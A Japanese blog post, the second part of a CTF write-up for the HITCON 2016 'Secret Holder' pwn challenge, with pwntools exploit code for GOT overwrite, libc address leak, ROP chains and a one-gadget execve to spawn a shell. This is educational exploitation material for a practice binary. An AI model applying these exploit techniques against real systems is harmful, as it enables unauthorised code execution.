ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編

前編の続きです。Unlink Attackにより、任意アドレスの内容を書き換えられるようになりました。

katc.hateblo.jp

いよいよ後編はGOT Overwriteからシェル起動までを行います。

f:id:katc:20161016235657p:plain

解法が二種類あるので分けて書きます。 ぶっちゃけROPは初めてなので誤った説明があったらコメント欄などで指摘しちゃってください。

解法1(Stack SmashingからのROP作戦)

しふくろくん方式です。

GOT overwrite & information leak

ROPによりシェル起動を目標にします。 この状況に至るための条件は次の通りです。

  1. systemのオフセットアドレスが分かっている(or libcを同定できている)
  2. libcのベースアドレスが分かっている
  3. stack smashingによりリターンアドレスの書き換えが可能(gets()相当のgadgetが必要)
  4. __stack_chk_fail()の呼出しによりexit()されない
  5. ROPで関数を呼出したときに第一引数をスタックからセットできる(pop rdi; ret;なgadgetが存在する)

それぞれの条件を満たす方法を順に説明します。

条件1(libcの同定とsystemのオフセットアドレス)

条件1は__libc_start_main()のアドレスからオフセットの下位1バイトが分かり、 サーバーのOSはどのpwnの問題でも一緒じゃないのという山勘で他の問題のlibcを見ればsystemのオフセットが分かっちゃったりします。 今回もそうだったみたいですが、 今はローカルでやってるので僕のLinuxのlibcでの話になります。

まずlibcの同定をします。 同定の手順は次の通りです(一応説明)。 libcのデータベースはlibcdb.comを久しぶりに使おうと思いましたが、古いみたいのので却下して、 niklasb/libc-database を使いました。
# ローカルはUbuntuでなく、(CTFのサーバーで採用されない、libc-databaseでも./getされない)Archi Linuxのlibcなので./add /usr/lib/libc-2.24.soしてあります

  1. libcの2つの関数のアドレスを明らかにする
  2. libc-databaseに1の結果を入れて検索
  3. ヒットしたら勝ち!

やるだけですね。どの2つの関数にするのかの問題はありますが、今回は__libc_start_mainreadをターゲットにします。 スクリプトは最後に添付します。結果はこうなりました。

[katc@K_atc SecretHolder]$ python2 SecretHolder-libc.py
[+] Started program './SecretHolder.patched'
__libc_start_main = 0x7efdf89ba1a0
read = 0x7efdf8a754c0
[*] libc address inspection done
[*] Stopped program './SecretHolder.patched'

はい検索(出来レース)。

% ./find __libc_start_main 1a0 read 4c0                                                                                                    (master *=)
/usr/lib/libc-2.24.so (id local-be8674d37e98b454154e94b989aa08f18611bafd)

最後にsystem/bin/shのオフセットアドレスも調べておきます。

[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$"
  5821: 000000000003f4d0    45 FUNC    WEAK   DEFAULT   13 system
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main
  2120: 00000000000201a0   458 FUNC    GLOBAL DEFAULT   13 __libc_start_main@@GLIBC_2.2.5
  6322: 00000000000201a0   458 FUNC    GLOBAL DEFAULT   13 __libc_start_main
[katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$
 161359 /bin/sh  

systemと/bin/shのオフセットアドレスはそれぞれ0x3f4d0、0x161359であることが分かりました。

条件2(libcのベースアドレス)

条件2はオフセットが分かっているlibcの関数のGOTに入っている値を読み取れば、引き算でlibcのベースアドレスが分かるので条件を満たせます。

条件3(リターンアドレス書き換え)

条件3はgets()相当の関数を探せばいいだけです。アドレス0x4009f9からのgadgetが使えそうです。

[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4
... snipped ...
--
  4009f9:   ba 80 1a 06 00          mov    edx,0x61a80
  4009fe:   48 89 c6                mov    rsi,rax
  400a01:   bf 00 00 00 00          mov    edi,0x0
  400a06:   b8 00 00 00 00          mov    eax,0x0
  400a0b:   e8 f0 fc ff ff          call   400700 <read@plt>
--
... snipped ...

条件4(SSP無効化)

条件4は__stack_chk_fail()のGOTを書き換えて、retに飛ばせばいいだけです。 テキトーなret gadgetに飛ばせばいいですね。

条件5(関数の第1引数)

条件5はinfrmation loak時にputs(buf)をすることを意識しています。 x86-64ではrdiがcallする関数の第一引数に対応するため、callする1手前時点のスタックトップをrsiに入れてくれるpopret(pop rdi; ret;)が必要になります。 幸いにもそのgadgetがあります。

gdb-peda$ asmsearch "pop rdi;ret"
Searching for ASM code: 'pop rdi;ret' in: binary ranges
0x00400e03 : (5fc3) pop    rdi; ret

まとめ

というわけでGOT Overwriteとlibcのベースアドレスのリークはこのようなコードになります。

addr = {
    "puts": 0x4006c0,
    # "sh": 0x4020ef + 7, # not loaded to memory
    "mygets": 0x4009f9,
    "main": 0x400cc2,
    "exit": 0x400770,
}

got = {    
    "__libc_start_main": e.got["__libc_start_main"],
    "__stack_chk_fail": e.got["__stack_chk_fail"],
    "memset": e.got["memset"],
}

"""GOT overwrite"""
renew(small, ''.join([              # 0x0x6020b0-0x18 (0x602098):
    '\0' * 0x8,                     # (padding)
    p64(got["memset"]),             # big_secret
    p64(0),                         # huge_secret (not used in this exploit)
    p64(got["__stack_chk_fail"]),   # small_secret
    p32(1) * 3                      # holding_{big,huge,small}_secret
    ]))
renew(small, p64(rop["ret"]))       # stack_check_fail() <- "function(){return};"
                                    # small_secret = rop["ret"]
renew(big, p64(addr["mygets"]))     # memset() <- mygets()
                                    # big_secret = addr["mygets"]

r.recvuntil("3. Renew secret\n")
r.send(''.join([
    '\0' * (0x10 + 8),              # (1), +8 = old $rbp
    p64(rop["pop rdi; ret"]),       # rdi = argument of puts()
    p64(got["__libc_start_main"]),  # arg
    p64(addr["puts"]),              # puts address of __libc_start_main()
    p64(addr["main"]),              # recall main()
    # p64(0x400ce3),                  # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm()
    ]))

ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr

GOT overwrite直前では先のUnlink Attackにより、small_secretsmall_secret-0x18を指していることと、paddingが8バイト必要な点が注意です。

GOT overwriteによりmemsetがgetsのような関数に化けています。 バッファはmemsetに使われていたバッファはrbp+0x10にあるので、それぶんと$rbpに置かれているsaved old rbpのぶんを加味してバッファオーバーフローさせます。 1番目のROP gadgetが$rbp+0x8にあるreturn addressを書き換える位置に来ればあとはTOP発動でinfomation leakにさせます。

あとはputsで出力された6バイトのアドレスを受け取って、__libc_start_mainのオフセットを差し引けばlibcのベースアドレスが分かります。

# ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由は余談で話します。

シェル起動

あとはやるだけ、の一言でいいですよね。(GOT overwriteと同様にしてreturn addressを書き換え、シェルを呼ぶROPを発動しているだけです)

"""launch shell"""
r.send(''.join([
    '\0' * 0x18,
    p64(rop["pop rdi; ret"]),
    p64(libc_base_addr + offset["/bin/sh"]),
    p64(libc_base_addr + offset["system"]),
    p64(addr["exit"]),
    ])) # system("sh")

r.interactive()

解法2(One-gadget RCEでinstant win作戦)

One-gadget RCEでさくっと勝ちましょうというのが2つ目の解法の方針です。 One-gadget RCEを解説した後、GOT overwriteでOne-gadgetにジャンプする準備をして、 RCE発動という流れで解説します。

One-gadget RCE とは

Dragon Sectorの資料に書かれていることがすべてなのですが、 x86-64x86はダメ)のlibcに、 ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行してくれる親切なgadgetが存在します。 gadgetの探し方は/bin/shのアドレスを即値で入れてるような命令の周辺を探す方法で良いと思います。いくつか候補が出てきます(冗長なものはカットしてあります)。 ほんとにシェルを起動してくれそうなgadgetがありますね…(今回始めてこの手法を使った人の顔)

% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8
   3f3aa:   48 8b 05 ef 8a 35 00    mov    rax,QWORD PTR [rip+0x358aef]        # 397ea0 <_DYNAMIC+0x340>
   3f3b1:   48 8d 3d a1 1f 12 00    lea    rdi,[rip+0x121fa1]        # 161359 <_nl_POSIX_name+0x154>
   3f3b8:   48 8d 74 24 30          lea    rsi,[rsp+0x30]
   3f3bd:   c7 05 99 b0 35 00 00    mov    DWORD PTR [rip+0x35b099],0x0        # 39a460 <lock>
   3f3c4:   00 00 00 
   3f3c7:   c7 05 93 b0 35 00 00    mov    DWORD PTR [rip+0x35b093],0x0        # 39a464 <sa_refcntr>
   3f3ce:   00 00 00 
   3f3d1:   48 8b 10                mov    rdx,QWORD PTR [rax]
   3f3d4:   e8 97 90 07 00          call   b8470 <execve>
--
   b8a23:   49 8d 7d 10             lea    rdi,[r13+0x10]
   b8a27:   48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]
   b8a2e:   00 
   b8a2f:   48 83 c6 08             add    rsi,0x8
   b8a33:   e8 28 b2 fc ff          call   83c60 <memcpy@GLIBC_2.2.5>
   b8a38:   48 8d 3d 1a 89 0a 00    lea    rdi,[rip+0xa891a]        # 161359 <_nl_POSIX_name+0x154>
   b8a3f:   4c 89 e2                mov    rdx,r12
   b8a42:   4c 89 ee                mov    rsi,r13
   b8a45:   e8 26 fa ff ff          call   b8470 <execve>
--
   d67d0:   48 8d 3d 4a c4 08 00    lea    rdi,[rip+0x8c44a]        # 162c21 <__libc_version+0xd1>
   d67d7:   e8 b4 ee f5 ff          call   35690 <unsetenv>
   d67dc:   8b 7c 24 60             mov    edi,DWORD PTR [rsp+0x60]
   d67e0:   e8 fb 52 00 00          call   dbae0 <__close>
   d67e5:   48 8b 05 b4 16 2c 00    mov    rax,QWORD PTR [rip+0x2c16b4]        # 397ea0 <_DYNAMIC+0x340>
   d67ec:   48 8d 74 24 70          lea    rsi,[rsp+0x70]
   d67f1:   48 8d 3d 61 ab 08 00    lea    rdi,[rip+0x8ab61]        # 161359 <_nl_POSIX_name+0x154>
   d67f8:   48 8b 10                mov    rdx,QWORD PTR [rax]
   d67fb:   e8 70 1c fe ff          call   b8470 <execve>

execve/bin/shを起動したいのですが、引数と環境変数のポインタがNULL、つまりrsi, rdxが0であることが望ましいです。 出てきた候補がシェルを起動してくれるための条件は上から

  • [rsp+0x30][rax]が0
  • r12, r13が0
  • [rsp+0x70][rax]が0

と思われますが、One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。

GOT Overwriteとlibcのベースアドレスのリーク

前述と同様にしてGOT Overwriteします。 はじめに、small secretのポインタをfreeのGOTに向けます。 次に、freeのGOTをputsのpltでのアドレスで上書きします。 最後に、small secretには__libc_start_mainのアドレスを入れます。 以上の操作により、wipe(small)でputs(__libc_start_main)したことになります。 (くどいですが、言い換えるとlibcの関数のアドレスをputsさせることになります)

補足)解法2(fastbinsを使わない解法※前編参照)ではhugeとsmallはメモリ上では同じアドレスになるようにmallocしてあります。 よって、hugeへの書き込みはsmallへの書き込みに相当します。

"""GOT overwrite"""
renew(huge, ''.join([               # 0x0x6020b0-0x18 (0x602098):
    '\0' * 0x10,                    # (padding)
    p64(0),                         # big_secret
    p64(small_secret),              # huge_secret
    p64(got["free"]),               # small_secret
    p32(1) * 3                      # holding_{big,huge,small}_secret
    ]))
renew(small, p64(addr["puts"]))       # puts(__libc_start_main) <- free(small)

"""leak libc base address"""
renew(huge, ''.join([
    p64(got["__libc_start_main"])
    ]))
wipe(small)

ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr

One-gadget RCE 発動→シェル起動

候補のOne-gadgetを片っ端から試すだけです。 注意点は一見関係が無さそうに見える_DYNAMICなんちゃらがあるアドレスを指定することです。

offset = {
    "system": 0x3f4d0,
    "/bin/sh": 0x161359,
    "__libc_start_main": 0x201a0,
    # "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0
    # "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0
    "One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0

... snip ...

"""launch shell"""
renew(huge, ''.join([
    p64(got["puts"]), # small_secret
    p32(1) * 3,
    ]))
raw_input('Press Enter to continue: ')
renew(small, p64(libc_base_addr + offset["One-gadget"]))

r.interactive()

余談

まずUnlink Attackにより、X-0x18から始まるメモリをいじれることになります。 X-0x18はsmall_secretでは、0x6020b0-0x18=0x602098でstdoutの下になりますが、 huge_secretでは、0x6020a8-0x18=0x602090でstdoutの位置になります。 .bssセクションのstdoutを参照するコードブロックがあり、それがmain相当の関数の冒頭で呼ばれるset_alarm()なので、あとでmainの先頭に戻ることを前提にすると、stdoutを破壊してはなりません。 値を予想できないように見えるor予想するのがめんどくさいのでsmall_secretをXとしてUnlink Attackしたほうが楽というわけです(この問題良く出来てるなぁ)。

                     set_alarm:
0000000000400c81         mov        rbp, rsp
0000000000400c84         mov        rax, qword [ds:stdout]
0000000000400c8b         mov        ecx, 0x0                                    ; argument "size" for method j_setvbuf
0000000000400c90         mov        edx, 0x2                                    ; argument "type" for method j_setvbuf
0000000000400c95         mov        esi, 0x0                                    ; argument "buf" for method j_setvbuf
0000000000400c9a         mov        rdi, rax                                    ; argument "stream" for method j_setvbuf
0000000000400c9d         call       j_setvbuf
0000000000400ca2         mov        esi, 0x400c68                               ; argument "func" for method j_signal
0000000000400ca7         mov        edi, 0xe                                    ; argument "sig" for method j_signal
0000000000400cac         call       j_signal
0000000000400cb1         mov        edi, 0x3c                                   ; argument "seconds" for method j_alarm
0000000000400cb6         mov        eax, 0x0
0000000000400cbb         call       j_alarm
0000000000400cc0         pop        rbp
0000000000400cc1         ret        
                        ; endp   

ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由

r.send(''.join([
    '\0' * (0x10 + 8),              # (1), +8 = old $rbp
    p64(rop["pop rdi; ret"]),       # rdi = argument of puts()
    p64(got["__libc_start_main"]),  # arg
    p64(addr["puts"]),              # puts address of __libc_start_main()
    p64(addr["main"]),              # recall main()
    ]))

まずは上のROPの実行対象のアセンブリを書き出してみます。 このとき、スタックオーバーフローを起こすためにmygetsなるgadgetを最初に呼んでいるのでそれも忘れずに書き出します。

# mygets
mov    edi,0x400e80
call   4006c0 <puts@plt>
mov    rax,QWORD PTR [rip+0x2016af]    
mov    edx,0x61a80
mov    rsi,rax
mov    edi,0x0
mov    eax,0x0
call   400700 <read@plt>
nop
mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     400a25 <exit@plt+0x2b5>
call   4006d0 <__stack_chk_fail@plt>
leave  
ret    

# popret
pop rdi
ret

# puts();
jmp    QWORD PTR [rip+0x20195a] 
push   0x1
jmp    4006a0 <free@plt-0x10>

# main()
push   rbp
mov    rbp,rsp
sub    rsp,0x20
mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax
xor    eax,eax
mov    eax,0x0
call   400c80 <exit@plt+0x510>
... snipped ...

今回のスタックオーバーフローは、return addressまで0をパッディングしました。 ということはsaved $rbp(old $rbp)は0に書き換わります。 で、よく見ると上のアセンブリ列には悪しきleave命令があります! leave命令の疑似命令はこうです。

IF StackAddressSize = 32
    THEN
        ESP ← EBP;
    ELSE IF StackAddressSize = 64
    THEN 
        RSP ←RBP; 
    FI;
    ELSE IF StackAddressSize = 16
    THEN 
        SP ← BP; 
    FI;
FI;

IF OperandSize = 32
    THEN 
        EBP ← Pop();
    ELSE IF OperandSize = 64
    THEN 
        RBP ← Pop(); 
    FI;
    ELSE IF OperandSize = 16
    THEN 
        BP ← Pop(); 
    FI;
FI;

困りますね。ROPを発動するとleave命令とsaved $rbpのせいで、$rbpが0になってしまいます。 この状態でmainの途中から実行してもうまくいくはずがありません。というかセグフォで実際うまくいきません。 alarmを殺すことは忘れて大人しくmain()の先頭に戻ることが今回求められます。 main()の先頭に戻るとmov rbp,rspによりrbpの値がいい感じに復元されます(幸いにも$rspはROPで破壊されていません)。

お手軽Exploitコードのデバッグ方法

今回気づいた方法です。 Exploitコードに残してありますが、

raw_input('Press Enter to continue: ')

を入れると簡易的なブレークポイントとして機能します。 つまり、その行に到達して攻撃ペイロードの送信が止まります。 あとは、次のコマンドのようにして、gdbから起動中のプロセスにアタッチするとExploitコードのデバッグが可能になります。 プロセスのアタッチにはroot権限が必要なのでお忘れなく。
# pgrepコマンド便利っすね

sudo gdb -q SecretHolder -x SecretHolder.gdb -p `pgrep SecretHolder`

pwntoolsで r.interactive() でも止められますけど、とある条件で送られるペイロードが化けるようにみえるのでおすすめできません。 socatとgdb-serverの組み合わせによるデバッグでも、なぜかペイロードが化けるのでおすすめできません(問題によって化けなかったりして厄介だな)。

完成したExploitコード

gistに上げてあります。

https://gist.github.com/K-atc/0b48c901d705ae9bdbda40085d5c87f2


くぅ〜疲れましたっ><
これにて完結です!

Secret Holderは正しくいい問題でした。 (Unsafe)Unlink AttackやROPが初めての方はぜひ解いてみてください〜
別解を見つけた方はぜひご自身のブログで公開し、友利奈緒までご一報ぐださいませ。